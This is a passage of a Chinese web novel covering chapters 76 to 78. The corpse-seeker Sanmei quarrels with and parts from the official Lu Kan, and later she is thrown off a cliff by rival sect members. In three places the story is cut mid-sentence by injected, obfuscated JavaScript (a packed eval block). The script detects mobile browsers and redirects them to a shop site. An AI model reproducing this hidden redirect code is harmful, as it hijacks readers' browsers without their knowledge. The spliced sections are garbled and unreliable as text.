而且他们寻尸五门的祭典大会就要召开了,到时候她还得掐着时间,等玉玺上门给她爹治腿,哪来的时间进京什么的。 “你不出来说两句?”裴元见三枚说不听,直接转头去看神色不明的陆衎。 三枚见陆衎垂眸不语,不知怎么,心里也跟着烦躁了起来。 她胡乱地揉了揉头发,总是习惯独来独往寻尸化怨的人,嘟嘟哝哝道:“那不然,你们干脆跟着我呗——” “怎么可能!”裴元又咋呼了起来。 “陆在野是大理寺少卿,奉旨出京办案,现在案件破了,他得回京禀报天子。” 身居要位、责任重大的大理寺少卿,怎么可能说走就走,跟个没事人一样四处漂泊。 “那就散了啊!” 三枚吃饱喝足,也有力气吵架了,“那我还是山门家主呢,我身上的重担也不轻啊!” “总不能因为你们朝中有人,还位高权重,我这个江湖人士,就得无条件迁就退让吧?” 见两个炮仗吵得正欢,邢正默默退到一边,幽幽地道:“我就是一个小小的捕快,咱啥也不懂,啥也说不上话。” 他要是想,不管进京还是流浪,随时能撂挑子走人。 “你!”裴元指着邢正,气得手指发颤,“你哪边的?” 邢正:“大家都是朋友,我哪边也不站。反正到时候你们一个个拍拍屁股都走了,剩下我一个人留守在眧州。” 裴元瞪他,难道让陆在野为了追妻,连前途都不要了? 耸耸肩,邢正望着窗外道:“天下无不散的宴席,都是成年人了,道不同,那大家好聚好散就是了。” 他们州府大人已经开始吩咐准备设宴,要为陆衎他们几个好好饯行了。 “啧,行吧。” 爱咋整咋整,哼,我都不稀罕了! 三枚呼出一口浊气,气呼呼地瞪了一言不发的陆衎一眼,“后会有期吧。” 简直越说越烦,好好的心情直接就毁了。 她也不管什么铢钱之印了,总不能为了个男人,连志业都丢了吧。 那也太没出息了。 三枚挥了挥手,抓着睡懵了的八耳,直接跳下床,没给人反应的时间,动作迅速地套上鞋子,拽起锁魂箱,抬腿就要开跑,却被陆衎眼疾手快地拦住了。 “才刚醒没多久,又跑?”陆衎拧着眉头,沉声说道。 76. 第 76 章 三枚耳朵一动,“我已经好了。” 她掰开陆衎的手,垂着眼睛也不看他,絮絮地说:“你们忙你们的呗,我也要快点把事办完,还得将二毛他们送回小渔村呢。” 陆衎:“我——” “对了,之前给你的五铢钱,你得先还给我。” 三枚不知道陆衎要说什么,但她现在莫名就是不想听见他的声音,逆反心理一出,也顾不得思考,想到什么就说。 她话音刚落,房间立刻便安静了下来。 气氛急转直下,骤然转冷,嗖嗖地冒着寒气一样。 裴元桃花眼瞬间瞪大:“嘶!小三枚这是要回收定情之物啊——” 话没说完,陆衎轻飘飘斜睨了他一眼,吓得他瞬间头皮发麻,脚下安了弹簧一样,瞬间弹到了邢正的背后。 “邢安然救我!” 邢正:......真是我的好兄弟! 就这么丝滑地把自己当做了盾牌,独自承受陆衎那死亡凝视。 “活该,让你多嘴多舌!”邢正别开视线,尽量不与陆衎对到眼神,恨恨地用腹语低声骂裴元。 裴元苦着脸,瑟瑟发抖。 他不知道事态怎么突然就发展到了这样的地步,小三枚反应也太大了吧,简直翻脸比翻书还快。 这下他更肯定了,小八耳的暴脾气,肯定随了她! 有了挡箭牌,裴元还是越想越愁人,根据他从小到大的经验,爹娘吵架,边上围观的孩子必受重创。 三枚和陆衎,虽然不是他爹娘,但他直觉自己肯定会被陆在野记上一笔,而且还是最狠的一笔账。 秋后被算账,他是不死,也得脱一层皮。 谁让话题是他挑起的! 三枚心里的慌乱,跟满心后悔的裴元有得一比, 听见裴元的话,她莫名就心虚了起来。 人一慌,身子就是一僵,她像是被戳中了什么了不得的心思一样,反应更大了。 她夸张地摆手,高声否认道:“什么定情信物啊,你可别乱说!坏了我和陆少卿的名声啊。那就是一枚普通的铜钱,没什么大不了的!” “怎么、怎么就,呵,就成定情信物了呢?呵呵,没有的事。” “我和陆少卿,清清白白,什么都没有,哈哈——” 骗人! 那枚铜钱的威力,他们又不是没有见识过,怎么可能只是一枚普通的铜钱。 看三枚语无伦次,说话的语速突然变得这么着急,以及不惜说谎,也要撇清关系的态度,肯定是心虚狠了。 “这个小三枚,居然还敢演戏,看我不狠狠戳穿她那拙劣的演技——嘶!” 裴元气势汹汹,刚伸出脑袋,下一秒便飞快缩了回来。 老天爷,陆在野气得眼都红了,该不会要哭了吧!!! 陆衎哭没哭不知道,三枚估计要哭了。 她的话才刚说完,胳膊就是一紧,紧接着头顶上方骤然投射下来两道、堪称烈焰一般的视线。 三枚本能地,肩膀就是一耸,她缩着脑袋,无比清楚地意识到:陆衎生气了!!! 看他的手背青筋毕现,浑身冷气不要钱一样往外冒,估计气大发了! “陆少卿?”她听见陆衎在自己的耳边,用气音轻哼道,“呵!” 短短几个字,他说得咬牙切齿,像是从牙缝里挤出来的一样。 这是不仅要把自己甩掉,还要彻底划清界限啊。 陆衎气得五脏六腑都在发疼,看着鸵鸟一样埋着脑袋的三枚,一字一顿地道:“我没听清,你再说一遍。” 三枚抿紧嘴巴,连连摇头,“我没说什么啊,哈、哈哈。” 笑话,以陆衎现在的危险程度而言,绝对不能说!打死也不能说! “你、你不会是要、打我吧?”三枚声音发颤地道。 自己才刚醒,还使不上多大的劲,若是陆衎打她,自己肯定只有挨揍的份。 寸拳出不了,八耳又睡死了,陆衎这样的人高马大,三枚笃定自己挨不住几下,就得彻底趴下。 这么一想,三枚眼眶已经泛红,真是有些想哭了。 “你!” 陆衎浑身的冰霜,全叫三枚无厘头的一句话,给气消了。 他真是气得牙痒痒,又不知道心里的郁气该如何发散。 低头一看,见三枚不仅眼眶泛泪,连鼻头都红了,肩膀还一抽一抽,真是自己把自己给委屈哭了。 陆衎顿时哭笑不得,直接被气笑了。 “谁说我要打你了?” 三枚瘪嘴:“那你吓唬我干嘛?” 陆衎:“你说话那么伤人,我还不能生气了?”说着说着,就将人拉到了身边,低头看她是不是真哭了。 鬼鬼祟祟、悄无声息退到门边的裴元,正打算伙同邢正先跑路,后脑勺的冷气骤然消散,他忍不住回头一看。 “啧!好家伙,怎么吵着吵着,感觉又要抱上了?” 裴元:“没眼看,简直没眼看!”然而捂脸的指缝开得比他的桃花眼还要大! 已经成功跨出门槛的邢正,见裴元还想蹲在门口偷看,大掌往前一伸,揪住了他的后衣领, “让他们好好谈谈,你别碍事!” 邢正说完把人直接往外一拽,还贴心地关上了房门。 “诶,别拉我啊,让我好好看看,陆在野怎么被虐......” —— 眼前光线忽而一暗,三枚一惊,抬眼一看,发现房间突然就只剩她和陆衎两人。 哦,还有她抓在手里的,半睡半醒的小八耳。 不知怎的,三枚顿觉房间的空气有些稀薄,有些不自在地扭过头,伸手轻轻将陆衎推开了一点。 “我、怎么伤人了?不就是让你把铢钱还给我吗?” 三枚说话的声音有些虚,挑眉瞥了眼陆衎的脖子。 陆衎轻笑一声,“送人的东西,还能往回收的吗?” “哪里送你了?” 三枚猛地抬头,见陆衎一脸戏谑地看着自己,突然就恼羞成怒了起来,小手又是一伸。 她故意拿话激他:“堂堂大理寺少卿,不会连一枚小小的铜板都贪吧?” 不料陆衎一改反常,抓着三枚的手一松,越过她的身边,长臂一伸,往床上就是一倒,突然就耍起了无赖:“不还!” 他混不吝地朝三枚挑眉:“有本事,你来抢啊!” 三枚:!!! 这还是我认识的陆衎吗? 他嘴角那抹邪笑是怎么回事?还有那个挑衅的眼神! 总不能真如裴元那个家伙所言,被哪个来历不明的妖孽夺舍了吧? 三枚咬牙:哪个不要命的,敢动我的人! 她将手中的八耳狠狠往陆衎身上一砸,撸起袖子,气势汹汹就冲了过去。 “还我铢钱!” —— 抢夺铢钱大战的结果,最终以三枚成功将五铢钱从陆衎的脖子上取了下来,红绳绕三圈缠在了他的腕上和平落幕。 “先说好,不是给你的,是暂时先放在你这里的。” 三枚佯装凶狠地瞪了眼笑意盈盈的陆衎,“你若是敢......我随时收回来!” 陆衎懒散地倚在床沿边,垂眸看着盘腿坐在床上,低头认认真真为自己戴红绳的三枚。 他的心头倏而一软,好像有什么要从胸腔里喷薄而出一般。 克制地仰头,喉结轻轻往下一滚,幽暗的眼眸缓缓闭上,再抬眼时,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434669|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神深邃又干净。 嘴角噙着浅笑,陆衎抬起另一只手,揉了揉三枚头顶炸得高高的小卷发。 等了半天没听见陆衎的声音,反而头上多了只大掌,三枚抬头,就见陆衎又用那种腻死人不偿命的眼神看着自己,脸上又是一阵发烫。 但她读不懂陆衎眸中的柔情蜜意,只觉得被他盯得整个人又羞又燥,仿佛如坐针毡。 “看什么看!”三枚恼羞成怒,突然就挥起了拳头,“不准再用这种眼神看我!” 刚才自己就是败在了他的眼神攻势下,一时被迷住,没能强硬地把五铢钱抢回来,推推搡搡之下,又眼尖地瞥见他锁骨之下,确实被盖上了铢钱之印。 三枚顿时头疼,思想挣扎了几秒,最后还是心软和不舍占了上风,决定暂时将陆衎纳入考察的行列,于是也不急着收回自己的铢钱了。 “还杵在这儿干嘛,你不是大理寺少卿吗,怎么这么闲的?” 三枚帮陆衎缠好红绳,丢开他的手就赶人。 陆衎咬牙,觉得三枚这人比他还阴晴不定。 “案子已经破了,危险也解除了,剩下的有之夜和安然在,我是挺闲的。” 他看着三枚,又起了逗弄她的心思:“而且,我没记错的话,这房间是我的。” 三枚一僵,厚着脸皮斜了他一眼,恶狠狠地道:“现在是我的了,走走走!我要休息了。” “呵!”陆衎轻笑一声,倚在床沿的身子站直,接着趁三枚不注意,弯腰挤到了她的身边。 身子往后一倒,陆衎挑衅地睨了三枚一眼:“就不走,你能奈我何!” 三枚咬牙,又撸起袖子,拍案而起,道:“得寸进尺,看我怎么收拾你!” “八耳,”她长袖一挥,招呼一边看热闹的小八耳,“咱们一起上,打他!” 八耳睡得精神饱满,闻言亮晶晶的豆眼就是一瞪。 小嗓子嘹亮地“咯!”了一声,它振翅一拍,紧跟在三枚的身后,扑向了陆衎。 —— 裴元手中折扇扇得飞起,看着前方渐行渐远的破烂牛车,用力地敲了敲车厢。 “真的就这么让她走了?”他对着车厢内奋笔疾书的陆衎道。 陆衎一顿,笔下的字便被晕出了一块豆大的墨迹,一张写满了字的宣纸,就这么毁了。 眉头一拧,他不悦地看了裴元一眼。 “看我作甚?”裴元折扇往前一指,“再不追,小三枚的身影都不见了!” 陆衎扫了眼已经糊成了一团的黑点,什么也没说,面无表情地收回了视线,接过之夜递过来的一张新的宣纸,又垂眸写了起来。 三枚已经跟他说好了,保证一年后一定会到都城找他。 虽然现在自己已经开始有些想她了,但陆衎觉得自己应该忍一忍,虽然不知道能坚持忍多久。 但还是忍忍吧,她好像不是很喜欢太粘人的。 若是日后实在太想她了,到时再离京去寻她吧。 心中早有盘算的陆衎,见裴元急得抓耳挠腮的样子,也只在心里轻笑一声。 这是自己和三枚之间的事情,没必要让裴子钰知道太多。 他沉了沉气,再提笔时,仿佛一切都将云淡风轻。 裴元一脸摸不着头脑,他转头看向邢正:“怎么回事?真闹掰了?” 铁树好不容易开一次花,就这么让春天溜走了? 恋恋不舍地看着三枚离开的方向,邢正一张黑炭脸满是伤感,叹了一口气,才道:“天下无不散的宴席,送走了三枚和小八耳,你和陆在野了也要坐着马车离开眧州了。” “走吧,走吧。”邢正背对着裴元挥了挥手,握着牛尾刀翻身上马,“我也要回去,好好当我的捕快去咯。” 77. 第 77 章 赶牛的王大爷,身上半裹着一件棕黑色的大棉袄,头上戴着一顶破斗笠,瘦小的身子蜷缩在车辕座上,眼睛半睁不睁,打着盹儿。 他睡得迷迷糊糊的,手里的鞭子有一下没一下地抽在大青牛的脊背上,下手不重,挨在牛身上,像是在给它挠痒痒。 大青牛情绪稳定,脑袋一甩一甩的,没有脱缰,也不急躁。 它的宽厚的脊背,时不时被大爷不轻不重抽一下,也只鼻头呼哧着热气,没有发什么脾气,慢吞吞地按照自己的节奏,不疾不徐地向前行进着。 大青牛不骄不躁的样子,看起来十分令人安心。 睡迷糊了的王大爷,偶尔睁开眼睛,往身后瞥上一眼,无声地打了个哈欠,感受到牛车仍在不紧不慢地走着,重又闭上了老眼。 这几日被关在牢房里,可吓坏他了。 虽然大牢里的狱吏们个个看起来凶神恶煞的,也不是很好说话,但幸好没有怎么为难和折磨他。 身体基本没受什么苦,可王大爷他精神遭了大罪啊。 他整日整夜担惊受怕,就怕一个错眼就被拉出去砍了头,只能睁着眼睛,熬啊熬...... 终于让他熬出了头,之前搭过一次他的牛车的小姑娘,居然来救他了。 还带着那个传说中的大理寺少卿。 “哎哟,哎哟啊!” 王大爷现在在睡梦里,又是激动得泪流满面。 “噔!” 牛车下的轱辘滚过石块,咯噔一下,惊醒了打盹的王大爷。 他眯着眼睛,见外头一切平安无事,便又困倦地重新闭上了眼睛。 等他再次睁眼的时候,发现牛车却是停在了岔路口。 天上淅沥沥的小雨,不知道什么时候已经停止了。 明明已经入春许久,风却仍似冰块般寒凉。 伸了个懒腰,大爷余光瞥见自己脱手掉在一边的牛鞭,知道是自己忘记挥鞭,那大青牛犯了牛劲,不挨鞭子便不肯前进了。 “小东西,怎的比驴还倔呢!” 捡起鞭子,抬手刚要挥上一鞭子,电光火石间,大爷脑子里闪过一道白光,吓得他飞快向后转头。 原本靠坐在车板上三枚,不见了。 他赶紧爬到板车上,掀开团成一团的被子,没人! “坏了,该不是又翻沟里去了!” 王大爷手忙脚乱就要跳下车,忽然耳朵里传进了几声极轻的“咯吱咯吱”声,听起来很像自己那老伴儿,每次入睡后总爱磨牙的声音。 他循着声音望去,发现靠在车板的角落阴影处,有什么东西一起一伏。 眯着眼睛,王大爷定睛一看,原来是那只通体乌黑的稚鸡,正躺在一个木箱子上呼呼大睡。 “吁!”大爷如释重负地呼出一口气,抹了抹额上并不存在的汗水,心说差点就破了自个儿半月就翻了两次车的记录了呢。 “奇怪,车没翻,三枚那闺女,哪儿去了?” —— 大青牛没再把人甩翻,三枚也没在沟里躺着,而是盘腿就地坐在道边的大石头上,身子倚着车轱辘,双眼紧闭。 她左右手各抓了一张大肉饼,左咬一口,右啃一下,嘴巴塞得鼓鼓胀胀,吃得满嘴油汪汪,又一脸气呼呼的样子。 搞得大爷也不知道她是在打坐修炼呢,还是在闭目假寐,或者是梦游了呢。 “闺女?”王大爷想了想,小心翼翼地从车上下来,小声呼唤道。 三枚闻言,眯开左眼,对着大爷挑了下眉:“嗯?” 王大爷拍了拍“哞哞叫”身后的大青牛,指着车厢,道:“咋不坐车里吃?还暖和一点。” 手背抵了抵额头,三枚摇头,含糊不清地道:“闷。” 闷得她大脑有些缺氧,迟钝得转不过弯来。 “哦,长时间在车里颠簸着,是会闷一点。” 王大爷见三枚又闭上了眼睛,想了想道:“那你先歇着,我也给我家大壮喂点吃的去。” 大青牛这几日没他在身边照料,都饿瘦了。 三枚哇呜又啃了一大口肉饼,听见王大爷的话,眼也不睁开,只抬手挥了挥。 泥泞的地面,响起了沉重的脚步声,走一步踢踏一下,越走越远。 等到耳边除了徐徐的风声外,只剩自己咀嚼的声音了,三枚才缓缓地睁开了杏眸。 她的眉头轻蹙,抬头望着有些灰蒙蒙的天空。 “干嘛呢?” 三枚对着天空,喃喃自语,“三翻四次的,怎么不敲梦铃呢?” 是的,三枚又被拽进了幻梦。 梦里的一切场景,跟在水都里的那一次,一模一样。 全是雾茫茫的一片,除了风声和那浅浅的吟唱片段,再没有发出其他任何声响。 不同的是,这次三枚在梦里走动时,没有再看见那串大小不一的脚印,而且在她想要结束梦境的时候,很顺利地就回到了现实。 没有任何拉扯,也没有铃声响起,仿佛她只是做了一个特别寻常的梦。 三枚直觉没那么简单,却一时想不出到底为何。 难不成是在跟她耍花招? “啧,想得头疼。” 眉头轻蹙,三枚将手里的肉饼一股脑塞进嘴里,狠狠地嚼着,“不想了,顺其自然吧。” 自己还要忙着将锁魂箱里的怨魂入土安葬,没工夫纠结一个谜团一样的幻梦。 掏出干净的帕子,擦擦嘴巴,稍微整理了一下情绪,三枚拍拍手站了起来。 “等什么时候敲响我家的梦铃了,再说也不迟。” —— 半年后。 一辆行驶在崎岖山路上的马车上。 “真能忍啊,真能忍!” 裴元气呼呼地,手中折扇拍得噼里啪啦直响,一双好看的桃花眼里,仿佛升腾着熊熊怒火。 “陆在野,你是真能忍!” 他指着坐在车厢另一边,气定神闲奋笔疾书的陆衎,咬牙切齿地道:“我说你当初表现得那样云淡风轻,敢情你是将兄弟都蒙在鼓里了!” 眧州送走小三枚后,邢正也挥别了他们,独自返回州府当差,裴元便也同陆衎踏上了回京的路程。 本来裴元还在心里暗自感慨:能叫铁树开花,小三枚已经很厉害了,但时过境迁,也不过是过眼云烟。 江山美人,走上仕途的男人,只要稍微有点抱负和野心,怎么可能为了个萍水相逢的女人,就割舍下自己的无量前途呢? 高岭之巅陆在野,也不过尔尔。 然而,他的奢华宝盖大马车还没开出眧州的地界呢,陆衎就开始不对劲了。 他先是下笔越来越快,力道越来越重,接着身上气压越来越低。 明明面无表情,仿佛不动如山,裴元却觉得陆衎瞬间冷若冰霜,肆无忌惮地释放着暴雪一样的冻人寒意。 整个车厢霎时弥漫着森冷的空气,冻得裴元牙齿直打颤。 “怎么回事?好端端的怎么就生起了闷气?” 小三枚走了,邢正也不在身边,自己也还沉浸在离别的伤感中,也没人吵闹惹他不悦啊! 果然阴晴不定陆在野,脾气说来就来! 臭德行不改,以后看谁要你! 电光火石间,暗自腹诽的裴元突然灵光一闪,抬眸确认了一遍,桃花眼瞬间就眯了起来。 “啧啧,原来如此!” 情感世界开窍晚,情窦还未完全开放,就夭折于半途,这是刚反应过来,开始伤心难过了啊。 心里偷笑的裴元,笑着笑着,心里莫名就涌起了一股同情怜悯的情绪:可怜的陆在野,后知后觉体味到情场失意的滋味了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445598|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 后劲和反应虽然大了点,但也合情合理。 所以回京途中,总是张扬又招摇的裴元,难得地没有闹什么幺蛾子,安安静静陪在陆衎的身边。 他甚至在回京后,还主动地为陆衎挡掉了许许多多烦人的糟心事,包括长曜郡主之类的不安分的莺莺燕燕。 这半年来,裴元亲眼见证陆衎是如何不要命地各种查案办案,忙得整个人几乎都扎根在了大理寺里,就连出了名的拼命三郎大理寺卿,见了他都要头疼地绕道而行。 裴元一度觉得,陆衎这样将自己忙转成陀螺一样,就是为了忘掉小三枚,是他自己的一种疗愈轻伤的方式。 “没想到啊,没想到,一切不过是你障眼法,为了能偷偷离京去寻小三枚汇合而作的掩护!” 枉他这半年来,又是小心翼翼赔笑脸,又是各种放低身段装傻卖乖,就想让陆在野这厮开心点,别一不小心就想不开。 “你居然还想偷偷撇下我,太过分了!”裴元气得狂拍桌,故意扰得陆衎写不了字。 听他絮絮叨叨吵了半个时辰,愤愤不平的情绪是一点没平复,反而越说越气,现在又开始还敢拍桌叫嚣,陆衎却一点不跟他计较。 只轻轻扫了裴元一眼,陆衎见他气得面红耳赤的,也不过一笑而过,索性将笔一丢,身子懒洋洋地向后一靠,缓缓地闭上眼睛,开始闭目养神了起来。 自己这样无理取闹,胡搅蛮缠,陆在野居然视若无睹,仿佛一点没放在心上,一点不生气,甚至嘴角还挂着那抹自然的淡淡笑意。 还说没有猫腻! 侯在一边的之夜,见状默默地收拾起了桌上的东西,见裴元又要念叨自家大人,忍不住蹙眉。 “裴世子误会了,我家大人此次出京,是为奉旨查办悬案,并非为了一己之私。” “放屁!” 终于不是自己一个人在唱独角戏了,裴元整个借题发挥,气得折扇往边上一扔,“你们骗得了别人,骗不来我!” “就他陆在野此刻眼角眉梢都盈满惬意而欢愉的笑意,除了在水都的时候,我就从没见过一次!” 若非自己不放心追上来瞄了一眼,差点就跟都城里的人一样被骗了! “我告诉你陆在野,我的直觉和五感是最准,一次也没有错过,你肯定跟小三枚约好了,你别想瞒着我偷偷出去玩耍。” “嘶,我们真是去查案的。”躲在角落里装鸵鸟的邢正,弱弱地说道。 “你闭嘴!”裴元抬脚就是一踹,“你最该挨喷!我说大理寺为何突然将你调遣进京,破格让你进了大理寺,原来一切都是有预谋的!” 邢正哭笑不得:“简直冤枉啊,我是真的、真的什么都不知道啊!” 起初他是真的以为此番出城,就是为了二十年前的一出未解悬案而去,直到他也看见了陆衎脸上一闪而过的笑容。 但他不觉得陆衎是那种公私不分,以查案为借口满足自己私欲的昏君。 “等着瞧,他肯定会去见小三枚的!” 裴元笃定地道,气哼哼地推开了车窗,“说不定,咱们此刻就在通往与小三枚会面的路上。” 情绪得到了充分的释放,上一秒还气怒交加,裴元转过头时,嘴角却不自觉地往上一翘。 “行了,闹上这么一顿,陆在野他们这下肯定心虚加愧疚,轻易不能将自己丢下不管了。” 他趴在车窗上,心情随着窗外拂过的微风一般,轻飘飘的,简直乐不可支。 “咦?” 安静了没一会儿的车厢,忽而又响起了裴元的声音。 “我怕不是刚才情绪太过激动,产生了错觉?”他用力揉了揉桃花眼,转头看着闭眼假寐的陆衎道。 “不然的话,刚刚一晃而过的悬崖边,我怎么会看见小三枚挂在上面,一副要掉不掉的样子?” 78. 第 78 章 挂在悬崖上的,确实是三枚本人没错。 她单手攀在峭壁上,脚下悬空,抓着岩块已经开始松动,岌岌可危。 低头瞟了一眼深不见底的黑渊,三枚另一只抓着锁魂箱的手,用力一攥,缓缓地呼出一口浊气。 须臾,她微微抬眸,眼神讥诮,淡漠轻嗤:“你们海门不仅爱养背祖忘志的耗子,如今又搞起了暗算偷袭,涂远东,你们可真是见不得人!” 三枚因为抓着岩石的手太过用力,已经破皮抓出了血。 艳红的鲜血,一点一点慢慢往外渗,染红了岩块,顺着她的指缝下滑,也将她的长袖染红。 但三枚始终面色淡然,说话的语气轻慢懒散,完全一副云淡风轻的样子,仿佛此刻身处绝境的并非是自己,而是另有其人。 獐头鼠目的涂远东,一身黑衣长袍站在悬崖边,居高临下地看着三枚,他的嘴角挂着邪笑,背在伸手的双手,却因三枚的话而握紧。 “序三,死到临头了,你还敢嘴硬!” 涂达西从后头猛地窜了上来,他在涂远东身后探出脑袋,看见三枚的狼狈样儿,瞬间乐得凸嘴嘎嘎叫。 “嘿嘿嘿,序三啊,你也有今天!平日不是很嚣张吗?你有本事再敢叫嚣一声啊!” “叫得好听点,爷听得高兴了,考虑考虑让你死得痛快点。” 他笑得猥琐,小人得志的嘴脸,看得令人反胃。 三枚翻了个白眼,感觉自己的眼睛遭受了严重的污染,得找个地方好好清洗清洗。 涂远东听着耳边难听的笑声,皱眉斜睨了边上一眼。 他的眼神犀利,将涂达西看得一怂,害怕地缩回了脑袋。 “到后头守着去。”别在这里碍人眼。 涂达西弱弱地道:“是,大哥。” 将犯蠢的弟弟赶远了,涂远东耳边清净了,才慢慢将视线又移到了三枚的身上。 涂远东哼笑一声,“序三,什么暗算啊偷袭的,听着刺耳。” 他的声音阴沉,脸上却还挂着标志性的虚假微笑,“我这叫作,螳螂捕蝉黄雀在后。” 自从上次被三枚这个臭丫头打得节节败退,身受重伤,回到海门晋选门主之位时,因为没有完成目标,他们两兄弟被剥夺了竞选资格,还为此被顶格惩处,差点没能完整地从残酷的禁闭室里走出来。 重获自由的那一刻,涂远东便暗自发誓,总有一日,一定要将这序三踩在脚下,报仇雪恨! 胸腔里狠狠地憋了一口恶气,没想到居然让他在黑渊之上,意外撞见了三枚,怎么能叫他放过这个一雪前耻的机会! 三枚看着仿佛大仇得报而志得意满的涂远东,杏眸犀利而冷厉,寒光一闪而过。 虽然她的面上装得懒散无谓,实际上心中暗自咬牙,僵着身子吃力地抓着峭壁,一动也不敢动,暗自祈祷,送魂的八耳能及时赶来。 卑鄙无耻的涂氏两兄弟,为了达到目的不择手段,尽使些上不了台面的阴招! 涂远东眯着眼睛,仿佛看透了三枚的心思,“不用等了,你家的那只小野-鸡,是逃不过我布下的天罗地网的。算算时间,现在估计已经成了碳烤鸡了吧,哈哈哈!” 轻狂的笑声,听得三枚面露不适。 她眉头轻拧,看着涂达西的眼底全是嫌恶和鄙夷:“啧,没有人告诉过你吗?你长得贼眉鼠眼,笑起来比老宅臭水沟里的死老鼠,还要难看!” “你!” 涂远东气得嘴角抽搐,眼神发狠,忽而面色一变,脸上渐渐浮起了狞笑。 “你呀你,还是没能好好认清眼下的形势。” 他一脚踩在三枚抓着岩石的手背上,足尖用力来回碾压,恶狠狠地道:“现在的我,可是握着你的生杀大权!” 然而直到那只手被他踩得血肉模糊,涂远东都没能在三枚的脸上,看见自己想要的痛苦而无助的神色。 她嘴角的笑意甚至越来越大,脸上的嘲讽之色越来越深,睨着涂远东的眼神越加淡漠不屑。 “哼!”涂远东嗤笑一声,龇牙咧嘴地道:“行!爱笑是吧?那你就到地狱里,笑个够去吧!” 理智已被愤怒冲破了防线,涂远东像个无所顾忌的疯子,说完后兀自狞笑一声,对着岩石的松口抬脚使劲一踹。 “啪!” 脆弱的岩石,终于完全从峭壁上裂开,唯一用来借力的支撑点也没有了,三枚抓着脱落的石块,身体瞬间失去了平衡。 风在她的耳边飞速呼啸而过,涂远东那张散发着恶臭的嘴脸迅速消失在眼前,三枚感到自己的身体在急速下落,就像一个破碎的娃娃一样,无能为力。 哎呀,坚持了这么久,还是避免不了坠落深渊的结果。 这样危急的时刻,三枚的脑袋总是越发清醒,她张开双手,听着强风掠过耳边的响声,抓着锁魂箱的手一松,轻声呢喃道:“但愿这黑渊底下,不是湍急的水流吧。” 又忙又累的半年来,她想起陆衎的时刻,屈指可数。 然而此时此刻,不知为何,三枚突然特别想念他。 “咦?这是说曹操,曹操就到了呀?” 三枚看着陆衎逆光而降,浑身散发着金色光芒,却一脸冷凝决绝地朝自己俯冲而来,歪头蹙眉:“难不成,我真的要死了吗?” 不然的话,好看得如同谪仙一般的陆衎,怎么会变戏法似的,乍然出现在自己的眼前? —— 于三枚而言是谪仙的陆衎,在裴元的眼里,却仿佛即将大开杀戒的罗刹。 半刻钟前。 “喂喂喂,也可能是我眼花看错了啊,哎哟哎哟,慢点慢点!!” 山路本崎岖,走道又是狭窄陡峭,一拐弯可能又是个悬崖,陆在野居然纵马飞奔! 扒着车厢门的裴元,被颠簸得快要吐血了,特别后悔自己多嘴说上那么一句。 他看着前方策马狂奔的陆衎,大吼道:“哪里就这么凑巧,小三枚怎么可能会出现在这里?你们都说了没有事先约好,兴许那就是一块长得肖似小三枚的石头啊。” “砰!” 马车轱辘滚过石块,裴元猝不及防,被颠得整个身子往上一弹,又快速落下,脑袋差点撞到车板。 车夫也是个不要命的,自己不过是说了句别跟丢了人,结果他先是眼睛一亮,接着浑身跟打了鸡血一样,疯狂地挥起了马鞭。 陆在野怎么疯,他都跟着向前冲! “你——”裴元指着车夫,想说悠着点。 车夫听见声音,似有所感一般,转头看了他一眼,接着笑呵呵地高声道:“裴世子莫急,属下定然不会跟丢了陆少卿的。” “前方又是一个急拐弯,世子坐稳了,驾!” 马鞭一挥,车速非但不减慢,反而骤然加快,闪电一般冲了出去。 吓得他赶紧抓紧了车把,望着紧跟在陆衎身边的邢正和之夜,裴元甚至怀疑是不是自己太特立独行了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462708|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有,什么时候自己这么有分量了,一句话就能让这几个男人都疯了。 “不行,我还得再劝劝。”身子探出车厢,他刚想起势来招河东狮吼,结果就见前方一片空荡荡,什么灌木丛生、遮天蔽日的树木全都消失不见。 定睛一看,裴元瞳孔瞬间瞪大,声嘶力竭地怒吼道:“陆在野,你慢点,啊啊啊,前面就是悬崖,快勒马啊啊啊!!!!” 然而陆衎却像是听不见一样,只顾埋头往前冲,整个人犹如出鞘的利剑,寒气逼人。 裴元以为自己看错了,陆衎却觉不然。 因为在他出口的瞬间,缠在陆衎腕上的五铢钱,灼热得仿佛要将他的手腕烧穿。 这种感觉从未有过,之前三枚在水都落水遇难时,当时戴在他脖子上的五铢钱,也不过是稍微发热发烫而已。 铢钱的主人是三枚,每一次异常的表现,都是一种提示。 如此刻般炙热滚烫,陆衎眉头狠狠一皱,虽然很不想承认,但可能真如裴元所说的那样,三枚肯定又遇上了危险。 随着他越靠近裴元所指的悬崖,腕上的灼痛感越明显。 “坚持住,我很快就到了。”陆衎在心中如是说道。 